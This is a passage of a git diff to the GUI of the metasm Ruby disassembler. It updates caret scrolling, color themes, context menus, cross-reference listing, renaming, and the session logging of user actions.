-        update_caret
+        @caret_y -= (height/4/@zoom/@font_height).to_i
+        @caret_y = 0 if @caret_y < 0
+        update_caret(false)
       else
         @curcontext.view_y -= height/4/@zoom
         redraw
       end
     when :pgdown
       if @caret_box
-        @caret_y = @caret_box[:line_address].length-1
-        update_caret
+        @caret_y += (height/4/@zoom/@font_height).to_i
+        @caret_y = [@caret_box[:line_address].length-1, @caret_y].min
+        update_caret(false)
       else
         @curcontext.view_y += height/4/@zoom
         redraw
@@ -1152,7 +1430,7 @@ p boxes.length
     when :home
       if @caret_box
         @caret_x = 0
-        update_caret
+        update_caret(false)
       else
         @curcontext.view_x = @curcontext.box.map { |b_| b_.x }.min-10
         @curcontext.view_y = @curcontext.box.map { |b_| b_.y }.min-10
@@ -1161,7 +1439,7 @@ p boxes.length
     when :end
       if @caret_box
         @caret_x = @caret_box[:line_text_col][@caret_y].to_a.map { |ss, cc| ss }.join.length
-        update_caret
+        update_caret(false)
       else
         @curcontext.view_x = [@curcontext.box.map { |b_| b_.x+b_.w }.max-width/@zoom+10, @curcontext.box.map { |b_| b_.x }.min-10].max
         @curcontext.view_y = [@curcontext.box.map { |b_| b_.y+b_.h }.max-height/@zoom+10, @curcontext.box.map { |b_| b_.y }.min-10].max
@@ -1175,38 +1453,24 @@ p boxes.length
         b_.to.each { |bb| bb.from.delete b_ }
       }
       redraw
+    when :popupmenu
+      if @caret_box
+        cx = (@caret_box.x - view_x + 1 + @caret_x*@font_width)*@zoom
+        cy = (@caret_box.y - view_y + 1 + @caret_y*@font_height)*@zoom
+        rightclick(cx, cy)
+      end
 
     when ?a
+      t0 = Time.now
       puts 'autoarrange'
       @curcontext.auto_arrange_boxes
       redraw
-      puts 'autoarrange done'
+      puts 'autoarrange done %.02f' % (Time.now - t0)
     when ?u
       gui_update
 
     when ?R
       load __FILE__
-    when ?S	# reset
-      @curcontext.auto_arrange_init(@selected_boxes.empty? ? @curcontext.box : @selected_boxes)
-      puts 'reset', @curcontext.dump_layout, ''
-      zoom_all
-      redraw
-    when ?T	# step auto_arrange
-      @curcontext.auto_arrange_step
-      puts @curcontext.dump_layout, ''
-      zoom_all
-      redraw
-    when ?L	# post auto_arrange
-      @curcontext.auto_arrange_post
-      zoom_all
-      redraw
-    when ?V	# shrink
-      @selected_boxes.each { |b_|
-        dx = (b_.from + b_.to).map { |bb| bb.x+bb.w/2 - b_.x-b_.w/2 }
-        dx = dx.inject(0) { |s, xx| s+xx }/dx.length
-        b_.x += dx
-      }
-      redraw
     when ?I	# create arbitrary boxes/links
       if @selected_boxes.empty?
         @fakebox ||= 0
@@ -1217,7 +1481,7 @@ p boxes.length
         b.h = @font_height * 2
         b.x = rand(200) - 100
         b.y = rand(200) - 100
-        
+
         @fakebox += 1
       else
         b1, *bl = @selected_boxes
@@ -1229,8 +1493,8 @@ p boxes.length
           else
             b1.to << b2
             b2.from << b1
-        end
-      }
+          end
+        }
       end
       redraw
 
@@ -1256,6 +1520,48 @@ p boxes.length
     true
   end
 
+  def hide_non_descendants(list)
+    reach = {}
+    todo = list.dup
+    while b = todo.pop
+      next if reach[b]
+      reach[b] = true
+      b.to.each { |bb|
+        todo << bb if bb.y+bb.h >= b.y
+      }
+    end
+
+    @curcontext.box.delete_if { |bb|
+      !reach[bb]
+    }
+    @curcontext.box.each { |bb|
+      bb.from.delete_if { |bbb| !reach[bbb] }
+      bb.to.delete_if { |bbb| !reach[bbb] }
+    }
+    redraw
+  end
+
+  def hide_non_ascendants(list)
+    reach = {}
+    todo = list.dup
+    while b = todo.pop
+      next if reach[b]
+      reach[b] = true
+      b.from.each { |bb|
+        todo << bb if bb.y <= b.h+b.y
+      }
+    end
+
+    @curcontext.box.delete_if { |bb|
+      !reach[bb]
+    }
+    @curcontext.box.each { |bb|
+      bb.from.delete_if { |bbb| !reach[bbb] }
+      bb.to.delete_if { |bbb| !reach[bbb] }
+    }
+    redraw
+  end
+
   # find a suitable array of graph roots, walking up from a block (function start/entrypoint)
   def dasm_find_roots(addr)
     todo = [addr]
@@ -1312,7 +1618,6 @@ p boxes.length
       @curcontext.view_y += (height/2 / @zoom - height/2)
       @zoom = 1.0
 
-      focus_xy(b.x, b.y + @caret_y*@font_height)
       update_caret
     elsif can_update_context
       @curcontext = Graph.new 'testic'
@@ -1326,23 +1631,59 @@ p boxes.length
   end
 
   def focus_xy(x, y)
-    if not @curcontext.view_x or @curcontext.view_x*@zoom + width*3/4 < x or @curcontext.view_x*@zoom > x
-      @curcontext.view_x = (x - width/5)/@zoom
+    # dont move during a click
+    return if @mousemove_origin
+
+    # ensure the caret stays onscreen
+    if not view_x
+      @curcontext.view_x = x - width/5/@zoom
+      redraw
+    elsif @caret_box and @caret_box.w < width*27/30/@zoom
+      # keep @caret_box full if possible
+      if view_x + width/20/@zoom > @caret_box.x
+        @curcontext.view_x = @caret_box.x-width/20/@zoom
+      elsif view_x + width*9/10/@zoom < @caret_box.x+@caret_box.w
+        @curcontext.view_x = @caret_box.x+@caret_box.w-width*9/10/@zoom
+      end
+    elsif view_x + width/20/@zoom > x
+      @curcontext.view_x = x-width/20/@zoom
+      redraw
+    elsif view_x + width*9/10/@zoom < x
+      @curcontext.view_x = x-width*9/10/@zoom
       redraw
     end
-    if not @curcontext.view_y or @curcontext.view_y*@zoom + height*3/4 < y or @curcontext.view_y*@zoom > y
-      @curcontext.view_y = (y - height/5)/@zoom
+
+    if not view_y
+      @curcontext.view_y = y - height/5/@zoom
+      redraw
+    elsif @caret_box and @caret_box.h < height*27/30/@zoom
+      if view_y + height/20/@zoom > @caret_box.y
+        @curcontext.view_y = @caret_box.y-height/20/@zoom
+      elsif view_y + height*9/10/@zoom < @caret_box.y+@caret_box.h
+        @curcontext.view_y = @caret_box.y+@caret_box.h-height*9/10/@zoom
+      end
+    elsif view_y + height/20/@zoom > y
+      @curcontext.view_y = y-height/20/@zoom
+      redraw
+    elsif view_y + height*9/10/@zoom < y
+      @curcontext.view_y = y-height*9/10/@zoom
       redraw
     end
   end
 
   # hint that the caret moved
   # redraw, change the hilighted word
-  def update_caret
-    return if not @caret_box or not @caret_x or not l = @caret_box[:line_text_col][@caret_y]
-    l = l.map { |s, c| s }.join
-    @parent_widget.focus_changed_callback[] if @parent_widget and @parent_widget.focus_changed_callback and @oldcaret_y != @caret_y
-    update_hl_word(l, @caret_x)
+  def update_caret(update_hlword = true)
+    return if not b = @caret_box or not @caret_x or not l = @caret_box[:line_text_col][@caret_y]
+
+    if update_hlword
+      l = l.map { |s, c| s }.join
+      @parent_widget.focus_changed_callback[] if @parent_widget and @parent_widget.focus_changed_callback and @oldcaret_y != @caret_y
+      update_hl_word(l, @caret_x)
+    end
+
+    focus_xy(b.x + @caret_x*@font_width, b.y + @caret_y*@font_height)
+
     redraw
   end
 
diff --git a/lib/metasm/metasm/gui/dasm_hex.rb b/lib/metasm/metasm/gui/dasm_hex.rb
index 3005edcf04..32422f84e2 100644
--- a/lib/metasm/metasm/gui/dasm_hex.rb
+++ b/lib/metasm/metasm/gui/dasm_hex.rb
@@ -42,12 +42,11 @@ class HexWidget < DrawableWidget
     @relative_addr = nil	# show '+42h' in the addr column if not nil
     @hl_curbyte = true	# draw grey bg for current byte
 
-    @default_color_association = { :ascii => :black, :data => :black,
-        :address => :blue, :caret => :black, :background => :white,
-        :write_pending => :darkred, :caret_mirror => :palegrey }
+    @default_color_association = ColorTheme.merge :ascii => :black, :data => :black,
+        :write_pending => :darkred, :caret_mirror => :palegrey
   end
 
-  def resized(w, h)
+  def resized(w=width, h=height)
     wc = w/@font_width
     hc = h/@font_height
     ca = current_address
@@ -103,6 +102,7 @@ class HexWidget < DrawableWidget
       end
     else
       @data_size = {1 => 2, 2 => 4, 4 => 8, 8 => 1}[@data_size]
+      resized
     end
     redraw
   end
@@ -231,7 +231,7 @@ class HexWidget < DrawableWidget
       end
       if @show_ascii and d
         x = xa + d_o*@font_width
-        d = d.gsub(/[^\x20-\x7e]/n, '.')
+        d = d.gsub(/[^\x20-\x7e]/, '.')
         if wp.empty?
           render[d, :ascii]
         else
@@ -392,11 +392,15 @@ class HexWidget < DrawableWidget
 
   # pop a dialog, scans the sections for a hex pattern
   def prompt_search_hex
-    inputbox('hex pattern to search (hex regexp, use .. for wildcard)') { |pat|
-      pat = pat.gsub(' ', '').gsub('..', '.').gsub(/[0-9a-f][0-9a-f]/ni) { |o| "\\x#{o}" }
+    text = ''
+    if current_address.kind_of?(::Integer)
+      text = Expression.encode_imm(current_address, "u#{@dasm.cpu.size}".to_sym, @dasm.cpu).unpack('H*').first
+    end
+    inputbox('hex pattern to search (hex regexp, use .. for wildcard)', :text => text) { |pat|
+      pat = pat.gsub(' ', '').gsub('..', '.').gsub(/[0-9a-f][0-9a-f]/i) { |o| "\\x#{o}" }
       pat = Regexp.new(pat, Regexp::MULTILINE, 'n')	# 'n' = force ascii-8bit
       list = [['addr']] + @dasm.pattern_scan(pat).map { |a| [Expression[a]] }
-      listwindow("hex search #{pat}", list) { |i| focus_addr i[0] }
+      listwindow("hex search #{pat}", list) { |i| @parent_widget.focus_addr i[0] }
     }
   end
 
@@ -404,7 +408,7 @@ class HexWidget < DrawableWidget
   def prompt_search_ascii
     inputbox('data pattern to search (regexp)') { |pat|
       list = [['addr']] + @dasm.pattern_scan(/#{pat}/).map { |a| [Expression[a]] }
-      listwindow("data search #{pat}", list) { |i| focus_addr i[0] }
+      listwindow("data search #{pat}", list) { |i| @parent_widget.focus_addr i[0] }
     }
   end
 
@@ -483,7 +487,7 @@ class HexWidget < DrawableWidget
     }
     @write_pending.clear
   rescue
-    @parent_widget.messagebox($!, $!.class.to_s)
+    @parent_widget.messagebox($!.message.to_s, $!.class.to_s)
   end
 
   def get_cursor_pos
diff --git a/lib/metasm/metasm/gui/dasm_listing.rb b/lib/metasm/metasm/gui/dasm_listing.rb
index 6378f48374..8a67ab22de 100644
--- a/lib/metasm/metasm/gui/dasm_listing.rb
+++ b/lib/metasm/metasm/gui/dasm_listing.rb
@@ -28,10 +28,8 @@ class AsmListingWidget < DrawableWidget
     @maxaddr = (addrs.max + @dasm.sections[addrs.max].length rescue (1 << @dasm.cpu.size))
     @startaddr = @dasm.prog_binding['entrypoint'] || @minaddr
 
-    @default_color_association = { :comment => :darkblue, :label => :darkgreen, :text => :black,
-        :instruction => :black, :address => :blue, :caret => :black, :raw_data => :black,
-        :background => :white, :cursorline_bg => :paleyellow, :hl_word => :palered,
-        :arrows_bg => :palegrey, :arrow_up => :darkblue, :arrow_dn => :darkyellow, :arrow_hl => :red }
+    @default_color_association = ColorTheme.merge :raw_data => :black, :arrows_bg => :palegrey,
+      :arrow_up => :darkblue, :arrow_dn => :darkyellow, :arrow_hl => :red
   end
 
   def resized(w, h)
@@ -55,11 +53,26 @@ class AsmListingWidget < DrawableWidget
 
   def click(x, y)
     set_caret_from_click(x - @arrow_zone_w, y)
+    @caret_x = 0 if @caret_x < 0
   end
 
   def rightclick(x, y)
     click(x, y)
-    @parent_widget.clone_window(@hl_word, :listing)
+    cx = (x - @arrow_zone_w) / @font_width
+    cy = y / @font_height
+    if cx > 0
+      m = new_menu
+      cm = new_menu
+      addsubmenu(cm, 'copy _word') { clipboard_copy(@hl_word) if @hl_word }
+      addsubmenu(cm, 'copy _line') { clipboard_copy(@line_text[cy]) if @line_text[cy] }
+      addsubmenu(cm, 'copy _all')  { clipboard_copy(@line_text.join("\r\n")) }	# XXX auto \r\n vs \n
+      addsubmenu(m, '_clipboard', cm)
+      addsubmenu(m, 'clone _window') { @parent_widget.clone_window(@hl_word, :listing) }
+      if @parent_widget.respond_to?(:extend_contextmenu)
+        @parent_widget.extend_contextmenu(self, m, @line_address[@caret_y])
+      end
+      popupmenu(m, x, y)
+    end
   end
 
   def doubleclick(x, y)
@@ -118,19 +131,7 @@ class AsmListingWidget < DrawableWidget
     render = lambda { |str, color|
       # function ends when we write under the bottom of the listing
       next if not str or y >= w_h or x >= w_w
-      if @hl_word and @hl_word != ''
-        stmp = str
-        pre_x = 0
-        while stmp =~ /^(.*?)(\b#{Regexp.escape @hl_word}\b)/
-          s1, s2 = $1, $2
-          pre_x += s1.length * @font_width
-          hl_x = s2.length * @font_width
-          draw_rectangle_color(:hl_word, x+pre_x, y, hl_x, @font_height)
-          pre_x += hl_x
-          stmp = stmp[s1.length+s2.length..-1]
-        end
-      end
-      draw_string_color(color, x, y, str)
+      draw_string_hl(color, x, y, str)
       x += str.length * @font_width
     }
 
@@ -275,6 +276,12 @@ class AsmListingWidget < DrawableWidget
 
   def keypress(key)
     case key
+    when ?u	# undef data formatting with ?d
+      addr = current_address
+      if not @dasm.decoded[addr] and @dasm.xrefs[addr].kind_of?(Xref)
+        @dasm.xrefs.delete addr
+        gui_update
+      end
     when :left
       if @caret_x >= 1
         @caret_x -= 1
@@ -315,6 +322,8 @@ class AsmListingWidget < DrawableWidget
     when :end
       @caret_x = @line_text[@caret_y].to_s.length
       update_caret
+    when :popupmenu
+      rightclick(@caret_x*@font_width + @arrow_zone_w+1, @caret_y*@font_height)
     else return false
     end
     true
@@ -422,16 +431,18 @@ class AsmListingWidget < DrawableWidget
           # ary
           di.block.each_from_samefunc(@dasm) { |addr|
             addr = @dasm.normalize addr
-            next if not addr.kind_of? ::Integer or (ndi = @dasm.di_at(addr) and ndi.next_addr == curaddr)
+            # block.list.last for delayslot
+            next if ndi = @dasm.di_at(addr) and ndi.block.list.last.next_addr == curaddr
             arrows_addr << [addr, curaddr]
           }
         end
         if di.block.list.last == di
+          # kikoo delayslot
+          rdi = di.block.list[-[4, di.block.list.length].min, 4].reverse.find { |_di| _di.opcode.props[:setip] } || di
           di.block.each_to_samefunc(@dasm) { |addr|
             addr = @dasm.normalize addr
-            next if not addr.kind_of? ::Integer or (di.next_addr == addr and
-                (not di.opcode.props[:saveip] or di.block.to_subfuncret))
-            arrows_addr << [curaddr, addr]
+            next if di.next_addr == addr and (not rdi.opcode.props[:saveip] or rdi.block.to_subfuncret)
+            arrows_addr << [rdi.address, addr]
           }
         end
         str_c << ["#{Expression[di.address]}    ", :address]
@@ -485,11 +496,11 @@ class AsmListingWidget < DrawableWidget
               xlen ||= xref.len || 1 if xref.len
               comment << " #{xref.type}#{xref.len}:#{Expression[xref.origin]}" if xref.origin
             } if @dasm.xrefs[curaddr]
-            len = xlen if xlen and xlen > 2	# db xref may point a string
+            len = xlen if xlen and xlen >= 2	# db xref may point a string
             comment = nil if comment.empty?
             len = (1..len).find { |l| @dasm.xrefs[curaddr+l] or s.inv_export[s.ptr+l] or s.reloc[s.ptr+l] } || len
             str = str[0, len] if len < str.length
-            str = str.pack('C*').unpack(@dasm.cpu.endianness == :big ? 'n*' : 'v*') if len == 2
+            str = str.pack('C*').unpack(@dasm.cpu.endianness == :big ? 'n*' : 'v*') if xlen == 2
             if (xlen == 1 or xlen == 2) and asc = str.inject('') { |asc_, c|
                 case c
                 when 0x20..0x7e, 9, 10, 13; asc_ << c
@@ -534,7 +545,7 @@ class AsmListingWidget < DrawableWidget
             comment = []
             @dasm.each_xref(curaddr) { |xref|
               len = xref.len if xref.len
-              comment << " #{xref.type}#{xref.len}:#{Expression[xref.origin]} "
+              comment << " #{xref.type}#{xref.len}:#{Expression[xref.origin] if xref.origin} "
             }
             len = 1 if (len != 2 and len != 4 and len != 8) or len < 1
             dat = "#{%w[x db dw x dd x x x dq][len]} ? "
@@ -578,9 +589,13 @@ class AsmListingWidget < DrawableWidget
     prev_arrows = @arrows
     addr_line = {}		# addr => last line (di)
     @line_address.each_with_index { |a, l| addr_line[a] = l }
-    @arrows = arrows_addr.uniq.sort.map { |from, to|
-      [(addr_line[from] || (from < curaddr ? :up : :down) rescue :up),
-       (addr_line[ to ] || ( to  < curaddr ? :up : :down) rescue :up)]
+    @arrows = arrows_addr.uniq.find_all { |from, to|
+      ((from-curaddr)+(to-curaddr)).kind_of?(::Integer) rescue nil
+    }.sort_by { |from, to|
+      [from-curaddr, to-curaddr]
+    }.map { |from, to|
+      [(addr_line[from] || (from-curaddr < 0 ? :up : :down)),
+       (addr_line[ to ] || (to - curaddr < 0 ? :up : :down))]
     }
     invalidate(0, 0, @arrow_zone_w, 100000) if prev_arrows != @arrows
   end
diff --git a/lib/metasm/metasm/gui/dasm_main.rb b/lib/metasm/metasm/gui/dasm_main.rb
index 8b1e298d72..0c6e504be9 100644
--- a/lib/metasm/metasm/gui/dasm_main.rb
+++ b/lib/metasm/metasm/gui/dasm_main.rb
@@ -15,6 +15,16 @@ require 'metasm/gui/cstruct'
 
 module Metasm
 module Gui
+class DrawableWidget
+  ColorTheme = { :comment => :darkblue, :label => :darkgreen, :text => :black,
+      :instruction => :black, :address => :blue, :caret => :black, :background => :white,
+      :cursorline_bg => :paleyellow, :hl_word_bg => :palered, :hl_word => :black,
+      :red_bg => 'f88', :green_bg => '8f8', :blue_bg => '88f',
+      :cyan_bg => '8ff', :magenta_bg => 'f8f', :yellow_bg => 'ff8',
+      :orange_bg => 'fc8'
+  }
+end
+
 # the main disassembler widget: this is a container for all the lower-level widgets that actually render the dasm state
 class DisasmWidget < ContainerChoiceWidget
   attr_accessor :entrypoints, :gui_update_counter_max
@@ -64,6 +74,7 @@ class DisasmWidget < ContainerChoiceWidget
 
   # start an idle callback that will run one round of @dasm.disassemble_mainiter
   def start_disassemble_bg
+    return if @dasm.addrs_todo.empty? and @entrypoints.all? { |ep| @dasm.decoded[ep] }
     gui_update_counter = 0
     run = false
     Gui.idle_add {
@@ -84,6 +95,10 @@ class DisasmWidget < ContainerChoiceWidget
     }
   end
 
+  def wait_disassemble_bg
+    Gui.main_iter until @entrypoints.empty? and @dasm.addrs_todo.empty?
+  end
+
   def terminate
     @clones.delete self
   end
@@ -107,6 +122,17 @@ class DisasmWidget < ContainerChoiceWidget
     @dasm.prog_binding[hl] || curview.current_address
   end
 
+  # returns the ExpressionString if the currently hilighted word is a :stackvar
+  def pointed_localvar(obj=curobj, hl=curview.hl_word)
+    return if not obj.kind_of?(Renderable)
+    localvar = nil
+    obj.each_expr { |e|
+      next unless e.kind_of?(ExpressionString)
+      localvar = e if e.type == :stackvar and e.str == hl
+    }
+    localvar
+  end
+
   # parse an address and change it to a canonical address form
   # supported formats: label names, or string with numerical value, incl hex (0x42 and 42h)
   # if the string is full decimal, a check against mapped space is done to find if it is
@@ -138,17 +164,17 @@ class DisasmWidget < ContainerChoiceWidget
   end
 
   # display the specified address
-  # the display first searches in the current view (graph, listing, etc),
-  # if it cannot display the address all other views are tried in order
+  # the display first searches in the current view
+  # if it cannot display the address, the listing, graph and decompile views are tried (in that order)
   # the current focus address is saved in @pos_history (see focus_addr_back/redo)
-  # a messagebox is popped if no view can display the address unless quiet is true
+  # if quiet is false, a messagebox is popped if no view can display the address
   def focus_addr(addr, viewidx=nil, quiet=false, *a)
     viewidx ||= curview_index || :listing
     return if not addr
-    return if viewidx == curview_index and addr == curaddr
+    return if viewidx == curview_index and addr == curaddr and a.empty?
     oldpos = [curview_index, (curview.get_cursor_pos if curview)]
     views = [viewidx, oldpos[0]]
-    views += [:listing, :graph] & view_indexes
+    views += [:listing, :graph, :decompile] & view_indexes
     if views.compact.uniq.find { |i|
       o_p = view(i).get_cursor_pos
       if (view(i).focus_addr(addr, *a) rescue nil)
@@ -157,11 +183,13 @@ class DisasmWidget < ContainerChoiceWidget
         true
       else
         view(i).set_cursor_pos o_p
+        a.clear
         false
       end
     }
       @pos_history << oldpos if oldpos[0]	# ignore start focus_addr
       @pos_history_redo.clear
+      session_append "@session_focus_addr = #{addr.inspect} ; @pos_history = #{@pos_history.inspect}"
       true
     else
       messagebox "Invalid address #{addr}" if not quiet
@@ -198,7 +226,7 @@ class DisasmWidget < ContainerChoiceWidget
 
   # ask the current view to update itself
   def do_gui_update
-    curview.gui_update	# invalidate all views ?
+    curview.gui_update if curview	# invalidate all views ?
   end
 
   # redraw the window
@@ -212,7 +240,7 @@ class DisasmWidget < ContainerChoiceWidget
     yield
     focus_addr curaddr if addr
   end
-  
+
   # calls listwindow with the same argument, but also creates a new bg_color_callback
   # that will color lines whose address is to be found in list[0] in green
   # the callback is put only for the duration of the listwindow, and is not reentrant.
@@ -234,18 +262,24 @@ class DisasmWidget < ContainerChoiceWidget
     inputbox("new comment for #{Expression[addr]}", :text => cmt) { |c|
       c = c.split("\n")
       c = nil if c == []
-      if di = @dasm.di_at(addr)
-        di.comment = c
-      else
-        @dasm.comment[addr] = c
-      end
+      do_add_comment(addr, c)
+      session_append "do_add_comment(#{addr.inspect}, #{c.inspect})"
       gui_update
     }
   end
 
+  def do_add_comment(addr, c)
+    if di = @dasm.di_at(addr)
+      di.comment = c
+    else
+      @dasm.comment[addr] = c
+    end
+  end
+
   # disassemble from this point
   # if points to a call, make it return
   def disassemble(addr)
+    session_append "disassemble(#{addr.inspect}) ; wait_disassemble_bg"
     if di = @dasm.di_at(addr) and di.opcode.props[:saveip]
       di.block.each_to_normal { |t|
         t = @dasm.normalize t
@@ -263,17 +297,20 @@ class DisasmWidget < ContainerChoiceWidget
   # disassemble fast from this point (don't dasm subfunctions, don't backtrace)
   def disassemble_fast(addr)
     @dasm.disassemble_fast(addr)
+    session_append "dasm.disassemble_fast(#{addr.inspect})"
     gui_update
   end
 
   # disassemble fast & deep from this point (don't backtrace, but still dasm subfuncs)
   def disassemble_fast_deep(addr)
     @dasm.disassemble_fast_deep(addr)
+    session_append "dasm.disassemble_fast_deep(#{addr.inspect})"
     gui_update
   end
 
   # (re)decompile
   def decompile(addr)
+    session_append "decompile(#{addr.inspect})"
     if @dasm.c_parser and var = @dasm.c_parser.toplevel.symbol[addr] and (var.type.kind_of? C::Function or @dasm.di_at(addr))
       @dasm.decompiler.redecompile(addr)
       view(:decompile).curaddr = nil
@@ -284,6 +321,7 @@ class DisasmWidget < ContainerChoiceWidget
   # change the format of displayed data under addr (byte, word, dword, qword)
   # currently this is done using a fake empty xref
   def toggle_data(addr)
+    session_append "toggle_data(#{addr.inspect})"
     return if @dasm.decoded[addr] or not @dasm.get_section_at(addr)
     @dasm.add_xref(addr, Xref.new(nil, nil, 1)) if not @dasm.xrefs[addr]
     @dasm.each_xref(addr) { |x|
@@ -328,15 +366,31 @@ class DisasmWidget < ContainerChoiceWidget
     listwindow("list of strings", list) { |i| focus_addr i[0] }
   end
 
-  def list_xrefs(addr)
+  def list_xrefs(addr=nil)
     list = [['address', 'type', 'instr']]
-    @dasm.each_xref(addr) { |xr|
-      next if not xr.origin
-      list << [Expression[xr.origin], "#{xr.type}#{xr.len}"]
-      if di = @dasm.di_at(xr.origin)
-        list.last << di.instruction
+    if not addr and pointed_localvar
+      addr = curview.hl_word
+      faddr = @dasm.find_function_start(curaddr)
+      func = @dasm.function[faddr]
+      if func and func.localvars_xrefs
+        stoff = func.localvars.index(addr)
+        func.localvars_xrefs[stoff].to_a.each { |a|
+          list << [Expression[a], '?']
+          if di = @dasm.di_at(a)
+            list.last << di.instruction
+          end
+        }
       end
-    }
+    else
+      addr ||= pointed_addr
+      @dasm.each_xref(addr) { |xr|
+        next if not xr.origin
+        list << [Expression[xr.origin], "#{xr.type}#{xr.len}"]
+        if di = @dasm.di_at(xr.origin)
+          list.last << di.instruction
+        end
+      }
+    end
     if list.length == 1
       messagebox "no xref to #{Expression[addr]}" if addr
     else
@@ -351,8 +405,7 @@ class DisasmWidget < ContainerChoiceWidget
     }
   end
 
-  def prompt_backtrace
-    addr = curaddr
+  def prompt_backtrace(addr=curaddr)
     inputbox('expression to backtrace', :text => curview.hl_word) { |e|
       expr = IndExpression.parse_string(e)
       bd = {}
@@ -388,7 +441,106 @@ class DisasmWidget < ContainerChoiceWidget
       list_bghilight("backtrace #{expr} from #{Expression[addr]}", list) { |i|
         a = i[0].empty? ? i[2] : i[0]
         focus_addr(a, nil, true)
- 			}
+      }
+    }
+  end
+
+  # prompt the contant to use in place of some numeric value
+  def prompt_constant(di=curobj)
+    return if not di.kind_of?(DecodedInstruction)
+    di.each_expr { |e|
+      next unless e.kind_of?(Expression)
+      if (e.lexpr.kind_of?(Integer) or e.lexpr.kind_of?(ExpressionString)) and
+          (!curview.hl_word or curview.hl_word == Expression[e.lexpr].to_s)
+        v = Expression[e.lexpr].reduce
+        lst = []
+        dasm.c_constants.each { |cn, cv, fm| lst << [cn, fm] if v == cv }
+        if not lst.empty?
+          default = Expression[v].to_s
+          lst << [default]
+          listwindow("constant for #{Expression[v]}", [['name', 'enum']] + lst) { |a|
+            if a[0] == default
+              e.lexpr = v
+            else
+              e.lexpr = ExpressionString.new(v, a[0], :constant)
+            end
+            session_append "if di = dasm.di_at(#{di.address.inspect}) ; di.each_expr { |e| e.lexpr = #{e.lexpr.inspect} if e.kind_of?(Expression) and e.lexpr and Expression[e.lexpr].reduce == #{v.inspect} } ; end"
+            gui_update
+          }
+        end
+      end
+      if (e.rexpr.kind_of? Integer or e.rexpr.kind_of?(ExpressionString)) and
+          (!curview.hl_word or curview.hl_word == Expression[e.rexpr].to_s)
+        v = Expression[e.rexpr].reduce
+        lst = []
+        dasm.c_constants.each { |cn, cv, fm| lst << [cn, fm] if v == cv }
+        if not lst.empty?
+          default = Expression[v].to_s
+          lst << [default]
+          listwindow("constant for #{Expression[v]}", [['name', 'enum']] + lst) { |a|
+            if a[0] == default
+              e.rexpr = v
+            else
+              e.rexpr = ExpressionString.new(v, a[0], :constant)
+            end
+            session_append "if di = dasm.di_at(#{di.address.inspect}) ; di.each_expr { |e| e.rexpr = #{e.rexpr.inspect} if e.kind_of?(Expression) and e.rexpr and Expression[e.rexpr].reduce == #{v.inspect} } ; end"
+            gui_update
+          }
+        end
+      end
+    }
+  end
+
+  # prompts for a structure name, autocompletes to known structures, and/or display a listwindow with
+  # possible completions, yields the target structure name
+  def prompt_c_struct(prompt, opts={})
+    inputbox(prompt, opts) { |st_name|
+      stars = ''
+      if opts[:allow_stars]
+        stars = st_name[/\**$/]
+        st_name[stars] = ''
+      end
+
+      # TODO propose typedef struct {} moo; too
+      sh = @dasm.c_parser.toplevel.struct
+      if sh[st_name].kind_of?(C::Union)
+        stn_list = [st_name]
+      else
+        stn_list = sh.keys.grep(String).find_all { |k| sh[k].kind_of?(C::Union) }
+      end
+
+      if name = stn_list.find { |n| n == st_name } || stn_list.find { |n| n.downcase == st_name.downcase }
+        # single match
+        yield(name+stars)
+      else
+        # try autocomplete
+        list = [['name']]
+        list += stn_list.sort.grep(/#{st_name}/i).map { |stn| [stn+stars] }
+        if list.length == 2
+          # single autocompletion
+          yield(list[1][0])
+        else
+          listwindow(prompt, list) { |ans|
+            yield(ans[0])
+          }
+        end
+      end
+    }
+  end
+
+  # prompt the struct to use for offset in a given instr
+  def prompt_struct_ptr(reg=curview.hl_word, addr=curaddr)
+    return if not reg or not @dasm.cpu.register_symbols.find { |rs| rs.to_s == reg.to_s }
+    reg = reg.to_sym
+
+    di = @dasm.di_at(addr)
+    return if not di.kind_of?(DecodedInstruction)
+
+    prompt_c_struct("struct pointed by #{reg}", :allow_stars => true) { |st|
+      # TODO store that info for the decompiler ?
+      @dasm.trace_update_reg_structptr(addr, reg, st)
+      session_append "dasm.trace_update_reg_structptr(#{addr.inspect}, #{reg.inspect}, #{st.inspect})"
+      gui_update
     }
   end
 
@@ -397,7 +549,7 @@ class DisasmWidget < ContainerChoiceWidget
   def focus_addr_autocomplete(v, show_alt=true)
     if not focus_addr(v, nil, true)
       labels = @dasm.prog_binding.map { |k, vv|
- 				[k, Expression[@dasm.normalize(vv)]] if k.downcase.include? v.downcase
+        [k, Expression[@dasm.normalize(vv)]] if k.downcase.include? v.downcase
       }.compact
       case labels.length
       when 0; focus_addr(v)
@@ -422,7 +574,10 @@ class DisasmWidget < ContainerChoiceWidget
 
   # run arbitrary ruby
   def prompt_run_ruby
-    inputbox('ruby code to eval()') { |c| messagebox eval(c).inspect[0, 512], 'eval' }
+    inputbox('ruby code to eval()') { |c|
+      messagebox eval(c).inspect[0, 512], 'eval'
+      session_append "#eval #{c.inspect}"
+    }
   end
 
   # run ruby plugin
@@ -454,25 +609,41 @@ class DisasmWidget < ContainerChoiceWidget
     end
   end
 
-  # prompts for a new name for addr
-  def rename_label(addr)
-    old = addr
-    if @dasm.prog_binding[old] or old = @dasm.get_label_at(addr)
+  # prompts for a new name for what is under the cursor (or the current address)
+  def rename(what=nil)
+    if not what and localvar = pointed_localvar
+      addr = curaddr
+      str = localvar.str.dup
+      inputbox("new name for #{localvar}", :text => localvar.to_s) { |v|
+        if v =~ /^[a-z_][a-z0-9_]*$/i
+          localvar.str.replace v
+          session_append "pointed_localvar(dasm.decoded[#{addr.inspect}], #{str.inspect}).str.replace(#{v.inspect})"
+          gui_update
+        else messagebox("invalid local var name #{v.inspect}")
+        end
+      }
+      return
+    end
+
+    what ||= pointed_addr
+    if @dasm.prog_binding[what] or old = @dasm.get_label_at(what)
+      old ||= what
       inputbox("new name for #{old}", :text => old) { |v|
         if v == ''
-          @dasm.del_label_at(addr)
+          @dasm.del_label_at(what)
+          session_append "dasm.del_label_at(#{what.inspect})"
         else
           @dasm.rename_label(old, v)
+          session_append "dasm.rename_label(#{old.inspect}, #{v.inspect})"
         end
         gui_update
       }
     else
-      inputbox("label name for #{Expression[addr]}", :text => Expression[addr]) { |v|
+      inputbox("label name for #{Expression[what]}", :text => Expression[what]) { |v|
         next if v == ''
-        @dasm.set_label_at(addr, v)
-        if di = @dasm.di_at(addr)
-          @dasm.split_block(di.block, di.address)
-        end
+        @dasm.set_label_at(what, v)
+        @dasm.split_block(what)
+        session_append "dasm.set_label_at(#{what.inspect}, #{v.inspect}) ; dasm.split_block(#{what.inspect})"
         gui_update
       }
     end
@@ -504,12 +675,34 @@ class DisasmWidget < ContainerChoiceWidget
